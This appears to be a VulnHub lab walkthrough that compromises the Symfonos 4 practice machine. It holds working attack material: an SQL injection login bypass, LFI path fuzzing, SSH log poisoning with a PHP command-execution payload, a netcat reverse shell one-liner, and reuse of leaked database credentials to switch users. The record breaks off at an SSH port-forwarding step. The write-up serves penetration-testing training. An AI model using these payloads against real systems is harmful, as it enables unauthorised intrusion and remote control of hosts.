Symfonos 4 || VulnHub Walkthrough

Hello, everyone! Welcome back to our VulnHub Walkthrough series. In today’s video, we’ll continue exploring the exciting VulnHub collection with SymfonOS. Specifically, we’re diving into the 4th virtual machine in the series, SymfonOS 4. This intermediate, OSCP-like, real-world scenario machine is designed to emphasize the importance of understanding vulnerabilities, and how to exploit them effectively. Let’s get started!

To begin, first, head over to the VulnHub website and download the machine's image file. If you’re new to VulnHub, check out our playlist for helpful guides on how to use the platform. 

Vulhub: Vulnerable By Design

Vulhub provides a collection of pre-built vulnerable environments. This resource is designed to help you practice penetration testing and vulnerability assessment skills on a variety of systems.

Now, let’s jump right into exploiting this machine!


Settings Up

Previously, we downloaded all six image files. So, our next step is to set up the virtual image in VirtualBox. 

The downloaded image file is in 7Z format , so start by extracting the archive to access the files within.

Here, I found an OVA file, which is an essential extension used by VirtualBox for direct imports.

Now, our next step is to import this virtual machine. 


Import Virtual Machine

To do this, double-click on the OVA file. This will automatically launch VirtualBox and display the “ Import Virtual Appliance ” wizard.

Click on settings. Here, in the wizard, we can adjust or modify the settings as needed. 

  • For better organization, I’m going to modify the primary group to the VulnHub group. 

Once you've made any necessary adjustments, click on "Finish" to complete the import process. 

After completing the setup, you'll see the SymfonOS 4 vulnerable machine listed in the VirtualBox Manager.

Configure the Network

To ensure both your Kali Linux machine (used for attacks) and the vulnerable machine are connected to the same network set their network adapters to Host-Only. 

Go to “ Settings ,” and under the Network tab, change the adapter to Host-Only.


Launch Attacking Machine

Once everything is ready, let’s start the virtual machine to confirm that it’s working properly. 

After launching the virtual machine, you should see a login prompt, confirming that everything is set up correctly. 

Now we’re ready to begin our exploration!


Launch Attacking Machine

To get started, launch your attacking machine, which in my case is Kali Linux. 

With Kali up and running, it’s time to dive into the fun! 


Enumeration


Identify the IP address

The first step in our attack is enumeration, where we identify the IP address of our target machine using the netdiscover tool. This step helps map the network and locate devices that are up and accessible.

To execute this, open a terminal and enter: 

netdiscover –i <specify the network interface>

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth1

The command output displays a list of devices detected on the network, showing their IP and MAC addresses, as well as the associated vendor.

 Currently scanning: 192.168.106.0/16   |   Screen View: Unique Hosts                                                                                    
                                                                                                                                                         
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                         
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.103.1   0a:00:27:00:00:14      1      60  Unknown vendor                                                                                        
 192.168.103.2   08:00:27:56:1d:82      1      60  PCS Systemtechnik GmbH                                                                                
 192.168.103.16  08:00:27:9e:0d:d5      3     180  PCS Systemtechnik GmbH   

From these results, we can see several IP addresses along with their corresponding MAC addresses. Our target machine’s IP address is identified as “ 192.168.103.16”.


Conduct Network Scan

Next, we'll perform a network scan to identify open ports on the target, which is a critical part of the enumeration process. Identifying open ports provides insights into the network’s attack surface, helping us pinpoint services vulnerable to exploitation. For this task, we’ll use the popular network scanning tool, Nmap.

To execute the scan, open a terminal and run the command: 

nmap -sC –sV <specify the target IP address>

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.103.16

In this command:

  • -sC : Initiates a script scan using Nmap's default scripts, which gather additional information about each service and identify possible vulnerabilities.
  • -sV : Enables version detection to determine the version of services running on open ports.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 08:04 EST
Nmap scan report for 192.168.103.16
Host is up (0.00075s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
|   256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_  256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.55 seconds
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

Once the scan is completed, the results reveal two open ports with their respective services:

  1. Port 22 (TCP): Running SSH (Secure Shell), which provides remote access if valid credentials are available. Although SSH is generally secure, weak or default passwords could make it exploitable.
  2. Port 80 (TCP): Running HTTP on a web server. The scan shows a basic website with no title, hosted on Apache HTTPD. This service is a common entry point for attacks and may contain web-based vulnerabilities.

These open ports present potential entry points into the target system. 

The next step is to conduct a deeper enumeration of each service to uncover vulnerabilities or clues that could facilitate initial or shell access. This focused analysis will guide us in developing a strategic approach to compromise the target.


Web Enumeration and Directory Busting

Our next steps involve identifying vulnerabilities to gain shell access or other footholds on the target system. Since the HTTP web server is running on Port 80, we’ll begin by analyzing it, as web services often serve as primary access points that can reveal additional attack vectors. 

80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)

Access the web service by entering the target's IP address directly into a web browser. 

The webpage displays an image resembling Poseidon , the Greek god of the sea , with a prominent trident symbolizing his power.


Directory Busting

To locate hidden resources, we will perform directory enumeration using tools like dirb or Gobuster. These tools systematically probe for common directory and file names that are not directly visible on the website. 

This process can uncover sensitive files or directories that aid in further exploitation. Execute the following command in the terminal.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.103.16/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

Here, 

  • gobuster dir initiates directory enumeration, 
  • -u   specifies the target URL, and 
  • -w    indicates the wordlist used for the scan.

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.103.16/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 314] [--> http://192.168.103.16/css/]
/manual               (Status: 301) [Size: 317] [--> http://192.168.103.16/manual/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.103.16/js/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.103.16/javascript/]
/server-status        (Status: 403) [Size: 302]
/gods                 (Status: 301) [Size: 315] [--> http://192.168.103.16/gods/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

During enumeration, we discovered a directory named "gods"


/god Web Directory Enumeration

Opening it in the browser:

Opening it in the browser reveals an index containing files named " Hades ", " Poseidon ", and " Zeus ". These filenames suggest a theme related to Greek mythology or fantasy.

The .log extensions indicate the files may contain log data associated with activities or processes.

Upon inspecting these log files I have found the information related to the god. But these are not very helpful, so we perform directory busting again to check if it may contain additional files.

To refine the enumeration, we will use Gobuster's 

  • -x   option, to filter by extensions such as .php , and .html .

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.103.16/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.103.16/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 201]
/.html                (Status: 403) [Size: 294]
/.php                 (Status: 403) [Size: 293]
/css                  (Status: 301) [Size: 314] [--> http://192.168.103.16/css/]
/manual               (Status: 301) [Size: 317] [--> http://192.168.103.16/manual/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.103.16/js/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.103.16/javascript/]
/sea.php              (Status: 302) [Size: 0] [--> atlantis.php]
/atlantis.php         (Status: 200) [Size: 1718]
/.php                 (Status: 403) [Size: 293]
/.html                (Status: 403) [Size: 294]
/server-status        (Status: 403) [Size: 302]
/gods                 (Status: 301) [Size: 315] [--> http://192.168.103.16/gods/]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

This revealed:

  • Two accessible files: /index.html and /atlantis.php , both with a status code of 200. 
  • Additionally, /sea.php redirects to /atlantis.php , indicating linked functionality. 


Inspecting /atlantis.php

Inspecting /atlantis.php , we discovered a login portal that could serve as a potential entry point.

Initial attempts to log in using default credentials like admin:admin and admin:password were unsuccessful. 

However, based on the behavior and structure of the login form, I suspect the website may be vulnerable to SQL injection.


Bypass Authentication using SQL Injection

To confirm and exploit the SQL injection vulnerability, we carefully observe the server's response to various SQL payloads

Next, we attempted to bypass authentication by entering payloads. Initial attempts may be unsuccessful. However, after appending a hash mark ( # ),  at the end of the payload, to comment out the rest of the SQL query:

  • Username: ' OR '1'='1’#
  • Password: ' OR '1'='1’#

Upon attempting, we successfully bypassed the login form.


Enumerating the Bypassed Log in Dashboard

Upon successful login, we discovered a dropdown menu labeled "Select a God."  

The options in the dropdown are "Hades," "Poseidon," and "Zeus." It's not immediately clear what functionality is triggered by selecting one of these options.

Upon selecting an option from the dropdown displays information related to the chosen god. 

Upon Selecting Hades

Upon Selecting Poseidon

For instance, selecting "Zeus" leads to the display of details about Zeus.

Upon Selecting Zeus

Notably, this behavior aligns with the text previously observed in the /gods directory during directory enumeration. 

It appears that when a god is selected from the dropdown menu, the application dynamically retrieves and displays content from a corresponding file.


Examining the URL Structure

Examining the URL structure provides a critical clue: 

  • The parameter file=zeus suggests that the application retrieves files based on the value of the file parameter. 

This behavior indicates a potential Local File Inclusion (LFI) vulnerability, as it may allow arbitrary file inclusion.

The next step is to confirm and exploit the LFI Vulnerability


Systematic Confirmation and Exploitation of LFI Vulnerability

To Test for LFI, we will modify the file parameter in the URL to include a relative path to other files.

However, this did not display the contents of /etc/passwd

This outcome could be due to one of two reasons: 

  • The application may not be vulnerable to LFI or 
  • A valid and accessible file path needs further investigation.

To investigate further, I hypothesize that the application might restrict paths using, ../  sequences. Instead, I will try using, ./, which represents the current directory. By modifying the file, parameter to ./zeus  I was able to successfully read the content of the Zeus file.

Building on this success, I attempted to access /etc/passwd again using this approach. 

Unfortunately, this attempt was still unsuccessful. 

This suggests that either the file path is explicitly restricted, or additional filtering mechanisms are in place, preventing access to sensitive files like /etc/passwd .

To systematically explore further, I will consider additional methods, such as inspecting for potential encoding requirements or using fuzzing tools to identify alternative file paths that may bypass these restrictions.

 

Leveraging FFUF to Identify LFI File Paths

To investigate this more systematically, we used ffuf to brute-force file paths. 

But before we need a few things to perform ffuf, we will need: 

  1. cookie
  2. wordlist

Why do we need cookies?

Since the LFI vulnerability is being tested within a logged-in session, a valid session cookie is required. Without the cookie, ffuf will treat the page as inaccessible due to the lack of authentication .


1. Retrieve Cookie:

Open the browser's developer tools (usually by pressing F12 ), navigate to the Storage or Network tab, and copy the session cookie.

2. A Wordlist:

For brute-forcing, we used the Seclist LFI wordlist. However, it is not available in Kali Linux, so we will have to download it from GitHub.

SecLists - LFI Fuzzing Payloads

Explore LFI (Local File Inclusion) payloads curated by Jhaddix for penetration testing. These payloads are part of the SecLists project, offering a comprehensive collection of security testing resources.

We executed the following command:

┌──(kali㉿kali)-[~]
└─$ ffuf -u 'http://192.168.103.16/sea.php?file=./../../../../FUZZ' -b 'PHPSESSID=7apa6qfqrskcj799umbc812rrg' -w Downloads/LFI-Jhaddix.txt -c

where:

  • -u is used to specify the target URL with FUZZ as the placeholder for brute-forcing.
  • -b  is used to provide the session cookie for authentication.
  • -w  is used to point to the wordlist used for testing file paths.
  • -c  is used to enable colored output for easier result interpretation.

Initially, the output included many results, most of which were false positives. To refine this, we needed to filter response words.

To work more efficiently we will need to Filter. By analyzing the initial output, we identified that standard error pages contained 56 words

  • To exclude these, we added the -fw    flag.
This command will filter out irrelevant responses and display valid files. 

┌──(kali㉿kali)-[~]
└─$ ffuf -u 'http://192.168.103.16/sea.php?file=./../../../../FUZZ' -b 'PHPSESSID=7apa6qfqrskcj799umbc812rrg' -w Downloads/LFI-Jhaddix.txt -c -fw 56

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.103.16/sea.php?file=./../../../../FUZZ
 :: Wordlist         : FUZZ: /home/kali/Downloads/LFI-Jhaddix.txt
 :: Header           : Cookie: PHPSESSID=7apa6qfqrskcj799umbc812rrg
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 56
________________________________________________

/var/log/auth           [Status: 200, Size: 2905, Words: 350, Lines: 42, Duration: 0ms]
:: Progress: [929/929] :: Job [1/1] :: 60 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

Upon successful execution, one valid file was identified: /var/log/auth

This file may potentially provide further insights or information useful for exploitation. To do this, we will have to insert this file path in the LFI section:

Inserting this file path into the URL. It displayed the  SSH login attempt logs, which provided valuable information for further analysis.

Log files can sometimes be exploited through  Log Poisoning , where malicious input is written to logs and later executed by the application. 

In the next phase, we will try to attempt an exploitation method to test Log Poisoning.


Exploitation


Testing for Log Poisoning in SSH Logs

To verify this, we attempted to inject a simple test string, 'hello world' , as a username.  To test Log Poisoning, on a terminal and execute:  ssh 'hello world' @192. 168.103 . 16

┌──(kali㉿kali)-[~]
└─$ ssh 'Hello World'@192.168.103.16
Hello [email protected]'s password: 
Permission denied, please try again.
Hello [email protected]'s password: 
Permission denied, please try again.
Hello [email protected]'s password: 
Hello [email protected]: Permission denied (publickey,password).
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$

Refresh the /var/log/auth log page to reflect and check the injections.

The log displayed the username hello world along with the message: "Connection closed by invalid user hello world."

This confirmed that our input was being recorded in the log file, validating the presence of a Log Poisoning vulnerability.

The next step was to inject a Remote Code Execution (RCE) payload into the logs. 


Leveraging SSH Log Poisoning with PHP RCE Injection

The goal was to execute malicious PHP code that would provide a reverse shell, granting a foothold on the target system.


Inject the RCE payload using the SSH client tool utility

┌──(kali㉿kali)-[~]
└─$ ssh '<?php system($_GET["cmd"]); ?>'@192.168.103.16
remote username contains invalid characters
                                                                                                                                                          
┌──(kali㉿kali)-[~]
└─$ 

But upon trying to inject ssh poisoning,  it displays a remote username containing an invalid characters error.  This error occurred because the SSH invalid character vulnerability had been patched in newer versions, preventing exploitation through direct injection.

Given the patched SSH validation, we switched to Metasploit for automated exploitation.


Inject the  RCE payload  using the MSF Console

To Inject RCE with Metasploit, Launch msfconsole from the Kali menu. 

$ /usr/share/kali-menu/helper-scripts/metasploit-framework.sh
[sudo] password for kali: 
[+] Starting database
[i] The database appears to be already configured, skipping initialization
Metasploit tip: Metasploit can be configured at startup, see msfconsole 
--help to learn more
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.4.18-dev                          ]
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post       ]
+ -- --=[ 1471 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 

Search for the appropriate SSH module and Select the appropriate module.

msf6 > search ssh_login

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login         .                normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey  .                normal  No     SSH Public Key Login Scanner


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) >                                                                                                           

  • Two auxiliary scanner modules were displayed. 
  • We selected the  auxiliary/scanner/ssh/ssh_login   module.

Use " options " to take a look what are the options we need to set.

msf6 auxiliary(scanner/ssh/ssh_login) > options                                                                                                           
                                                                                                                                                          
Module options (auxiliary/scanner/ssh/ssh_login):                                                                                                         
                                                                                                                                                          
   Name              Current Setting  Required  Description                                                                                               
   ----              ---------------  --------  -----------                                                                                               
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password                                                       
   BLANK_PASSWORDS   false            no        Try blank passwords for all users                                                                         
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5                                                                       
   CreateSession     true             no        Create a new session for every successful login                                                           
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database                                              
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list                                                     
   DB_ALL_USERS      false            no        Add all users in the current database to the list                                                         
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)               
   PASSWORD                           no        A specific password to authenticate with                                                                  
   PASS_FILE                          no        File containing passwords, one per line                                                                   
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html    
   RPORT             22               yes       The target port                                                                                           
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host                                                          
   THREADS           1                yes       The number of concurrent threads (max one per host)                                                       
   USERNAME                           no        A specific username to authenticate as                                                                    
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line                                 
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_login) >

Here we have to set the following:

  • RHOSTS
  • username to inject the RCE code. set username <?php system($_GET["cmd"]); ?>
  • A Password 

msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.103.16
RHOSTS => 192.168.103.16                                                                                                                                  
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME <?php system($_GET["cmd"]); ?>                                                                       
USERNAME => <?php system($_GET[cmd]); ?>                                                                                                                  
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD pass
PASSWORD => pass                                                                                                                                          
msf6 auxiliary(scanner/ssh/ssh_login) >

Execute the run command in Metasploit.

msf6 auxiliary(scanner/ssh/ssh_login) > run                                                                                                               
                                                                                                                                                          
[*] 192.168.103.16:22 - Starting bruteforce                                                                                                               
[*] Scanned 1 of 1 hosts (100% complete)                                                                                                                  
[*] Auxiliary module execution completed                                                                                                                  
msf6 auxiliary(scanner/ssh/ssh_login) >    

The auxiliary module was executed successfully, confirming that the RCE payload was injected. Now, it’s time to exploit the RCE Payload.


Investigating RCE injection Success

Open a web browser and navigate to the vulnerable parameter URL. 

Modify the URL to include a & symbol, followed by the cmd parameter as specified in the RCE payload. Use an equal sign(=)  to input the command.

http://192.168.103.16/sea.php?file=./../../../../var/log/auth&cmd=<command>

Upon running the id command, the server responded with the connection details, including the GID (Group ID) and UID (User ID), confirming the successful execution of commands on the target system.

Further steps involve leveraging the reverse shell to gain access to the target system, escalating privileges, and exploring additional vulnerabilities or sensitive data. The next step involves obtaining a reverse shell to gain full control over the target system.


Foothold

The next step is obtaining a reverse shell to gain a foothold over the target system.


Establish a Reverse Shell

To establish a reverse shell, begin by preparing a listener on your machine. 


Prepare a listener

On the terminal, use netcat (nc) utility to set up the listener by specifying a port to listen on.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...

Next, inject the reverse shell payload into the vulnerable URL.


Inject the reverse shell payload 

Modify the cmd parameter in the URL to execute the reverse shell payload using nc .

nc <Listening HOST> <Listening PORT> -e /bin/sh

  • <Listening HOST IP> : To determine our local IP address for the payload, run the ifconfig command. 
  • <Listening port>
  • -e flag to execute the /bin/bash command.  

Once the payload is executed, verify the connection by observing the terminal running netcat

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.103.3] from (UNKNOWN) [192.168.103.16] 42296

A connection message confirms that a reverse shell has been established.


Upgrade the Shell

To make the shell fully interactive, check if Python is installed on the target system using which python

which python
/usr/bin/python

The Python is available, run the pty.spawn method to upgrade the basic shell obtained from the reverse connection to an interactive TTY shell. This allows the use of terminal features like tab completion and command history.

python -c "import pty;pty.spawn('/bin/bash')"
www-data@symfonos4:/var/www/html$ 

The shell is now more stable and interactive, improving usability for further exploitation.


Investigate the Target Directory

Now, we need to explore the Target Directory. So, List the files and directories in the current working directory ( /var/www/html ) using the ls command.

www-data@symfonos4:/var/www/html$ ls -al
ls -al
total 152
drwxr-xr-x 5 root root   4096 Aug 19  2019 .
drwxr-xr-x 3 root root   4096 Aug 17  2019 ..
-rw-r--r-- 1 root root   2513 Aug 18  2019 atlantis.php
drwxr-xr-x 2 root root   4096 Aug 17  2019 css
drwxr-xr-x 2 root root   4096 Aug 18  2019 gods
-rw-r--r-- 1 root root 118494 Aug 17  2019 image.jpg
-rw-r--r-- 1 root root    201 Aug 17  2019 index.html
drwxr-xr-x 2 root root   4096 Aug 18  2019 js
-rw-r--r-- 1 root root     39 Aug 17  2019 robots.txt
-rw-r--r-- 1 root root    739 Aug 18  2019 sea.php
www-data@symfonos4:/var/www/html$

The files in the directory include:

  • atlantis.php (likely related to the web application)
  • Other supporting files like css , js , and index.html .

Usually, there is a chance of sensitivity left in the application code. So, we will examine the Application Code of atlantis.php file for potentially sensitive information.

www-data@symfonos4:/var/www/html$ cat atlantis.php
cat atlantis.php
<?php
   define('DB_USERNAME', 'root');
   define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');
   $db = new PDO("mysql:host=localhost:3306;dbname=db", DB_USERNAME,DB_PASSWORD);

   session_start();

   if($_SERVER["REQUEST_METHOD"] == "POST") {
   $username = $_POST["username"];
   $pwd = hash('sha256',$_POST["password"]);
   //if (!$db) die ($error);
   $statement = $db->prepare("Select * from users where username='".$username."' and pwd='".$pwd."'");
   $statement->execute();
   $results = $statement->fetch(PDO::FETCH_ASSOC);
   if (isset($results["pwd"])){
       $_SESSION['logged_in'] = $username;
       header("Location: sea.php");
   } else {
        $_SESSION["logged_in"] = false;
        sleep(2); // Don't brute force :(
        echo "<br /><center>Incorrect login</center>";
   } }
?>
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body><br />
<main class="login-form">
    <div class="cotainer">
        <div class="row justify-content-center">
            <div class="col-md-8">
                <div class="card">
                    <div class="card-header">Login</div>
                    <div class="card-body">
                        <form action="atlantis.php" method="post">
                            <div class="form-group row">
                                <label for="username" class="col-md-4 col-form-label text-md-right">Username</label>
                                <div class="col-md-6">
                                    <input type="text" id="username" class="form-control" name="username" required autofocus>
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="password" class="col-md-4 col-form-label text-md-right">Password</label>
                                <div class="col-md-6">
                                    <input type="password" id="password" class="form-control" name="password" required>
                                </div>
                            </div>

                            <div class="col-md-6 offset-md-4">
                                <button type="submit" class="btn btn-primary">
                                    Login
                                </button>
                            </div>
                    </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
    </div>
</main>

</body>
</html>
www-data@symfonos4:/var/www/html$ 

This reveals the application’s backend logic, including database credentials: 

  • DB_USERNAME: root
  • DB_PASSWORD: yVzyRGw3cG2Uyt2r

Attempt to use these credentials to switch to the root user with su root

www-data@symfonos4:/var/www/html$ su root 
su root                                                                                                                                                   
Password: yVzyRGw3cG2Uyt2r                                                                                                                                
                                                                                                                                                          
su: Authentication failure                                                                                                                                
www-data@symfonos4:/var/www/html$ 

Upon trying the credentials, we received an Authentication Failure message. 

This indicates that either the username-password combination is incorrect or the username itself may be incorrect.


Identifying and Switching to a Target User

To identify potential users, we examined the system's /etc/passwd  file, which contains a list of all user accounts:

www-data@symfonos4:/var/www/html$ cat /etc/passwd | grep bash                                                                                             
cat /etc/passwd | grep bash                                                                                                                               
root:x:0:0:root:/root:/bin/bash                                                                                                                           
poseidon:x:1000:1000:,,,:/home/poseidon:/bin/bash                                                                                                         
www-data@symfonos4:/var/www/html$                                                                                                             

Among the accounts, we noticed a non-root user named Poseidon. Suspecting this user might be associated with the application, we decided to attempt switching to the Poseidon account using the database password.

We use the  su  ( substitute user ) command to switch to Poseidon. 

www-data@symfonos4:/var/www/html$ su poseidon                                                                                                             
su poseidon                                                                                                                                               
Password: yVzyRGw3cG2Uyt2r                                                                                                                                
                                                                                                                                                          
poseidon@symfonos4:/var/www/html$

The password was accepted, and we successfully switched to the Poseidon user. Now we are operating as Poseidon, so we will check for the home directory for the user flag. 

poseidon@symfonos4:/var/www/html$ cd                                                                                                                      
cd                                                                                                                                                        
poseidon@symfonos4:~$ ls -al                                                                                                                              
ls -al                                                                                                                                                    
total 24                                                                                                                                                  
drwxr-xr-x 3 poseidon poseidon 4096 Dec  1 08:45 .                                                                                                        
drwxr-xr-x 3 root     root     4096 Aug 17  2019 ..                                                                                                       
lrwxrwxrwx 1 root     root        9 Aug 18  2019 .bash_history -> /dev/null                                                                               
-rw-r--r-- 1 poseidon poseidon  220 Aug 17  2019 .bash_logout                                                                                             
-rw-r--r-- 1 poseidon poseidon 3526 Aug 17  2019 .bashrc                                                                                                  
drwx------ 3 poseidon poseidon 4096 Dec  1 08:45 .gnupg                                                                                                   
-rw-r--r-- 1 poseidon poseidon  807 Aug 17  2019 .profile                                                                                                 
poseidon@symfonos4:~$

However, no flag was found in the directory or its subdirectories. Since no flag was located in Poseidon's directory, the next logical step involves Privilege Escalation to obtain higher-level access.


Privilege Escalation

In the privilege escalation process, the primary goal is to enumerate the system further, identifying potential misconfigurations, exploitable vulnerabilities, or overlooked permissions. Our focus is to search for files or processes that may allow us escalation to root or another privileged user and also we will investigate permissions, SUID files, running services, and scheduled tasks for exploitation opportunities.

However, as we currently operate with limited user privileges through the reverse shell, we face restrictions on accessing certain files or commands for a comprehensive assessment.


Enumerating System Information

To move forward, we run the sudo -l command to check if the user Poseidon has any sudo privileges.

poseidon@symfonos4:~$ sudo -l                                                                                                                             
sudo -l                                                                                                                                                   
bash: sudo: command not found                                                                                                                             
poseidon@symfonos4:~$ 

This indicates that the Poseidon user either lacks sudo privileges or the sudo utility is not available in their environment.

To gather more details, we run the id command, which will provide the user's UID, GID, and group memberships.

poseidon@symfonos4:~$ id                                                                                                                                  
id                                                                                                                                                        
uid=1000(poseidon) gid=1000(poseidon) groups=1000(poseidon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)       
poseidon@symfonos4:~$

  • Poseidon is a regular user ( UID=1000 ) with no root-level privileges. 
  • In the Groups, Tunnelling is part of several groups like audio , video , cdrom , dip , and plugdev .

Notably, the dip (Dial-up Internet Protocol)  the group allows managing network connections, such as tunneling or VPNs .

This reveals a Potential relevance that may allow setting up reverse SSH tunneling, port forwarding, or privilege escalation by exploiting network configuration permissions.


Analyzing Privilege Escalation Potential via the DIP Group

To investigate further we will run the ss -tuln command to analyze open ports, revealing the various Open Ports.

poseidon@symfonos4:~$ ss -tuln                                                                                                                            
ss -tuln                                                                                                                                                  
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port                                                                             
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*                                                                                
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*                                                                                
tcp     LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*                                                                                
tcp     LISTEN   0        128            127.0.0.1:8080          0.0.0.0:*                                                                                
tcp     LISTEN   0        128                 [::]:22               [::]:*                                                                                
tcp     LISTEN   0        128                    *:80                  *:*                                                                                
poseidon@symfonos4:~$ 

In these open ports, Ports 22 and 80, previously identified via Nmap, are accessible externally. But the other 2 open ports, Port 8080 and 3306 , bound to 127.0.0.1 (localhost) , indicate services restricted to internal connections. 

  • Port 3306 seems to be like MySQL database service.
  • Port 8080 is potentially an internal admin panel or web service.

The restricted nature of these services makes them inaccessible directly from an external system. However, tunneling can expose these services to our attacking machine.


Exploiting DIP Group via Tunneling

To bypass the localhost restriction, we used SSH tunneling to forward traffic from the target's internal services to our machine. The steps involved creating a tunnel from our attacking machine to the target system.

The port 8080  hosts an admin panel or another internal service, we can forward it using the  ssh client tool.  

  • The -L  flag specifies the local port forwarding which Forwards local port 8080 to the target’s internal port 8080.

┌──(kali㉿kali)-[~]
└─$ ssh -L 8080:127.0.0.1:8080 [email protected]
[email protected]'s password: 
Linux symfonos4 4.19.0-5-686 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 18 02:50:19 2019 from 192.168.1.147
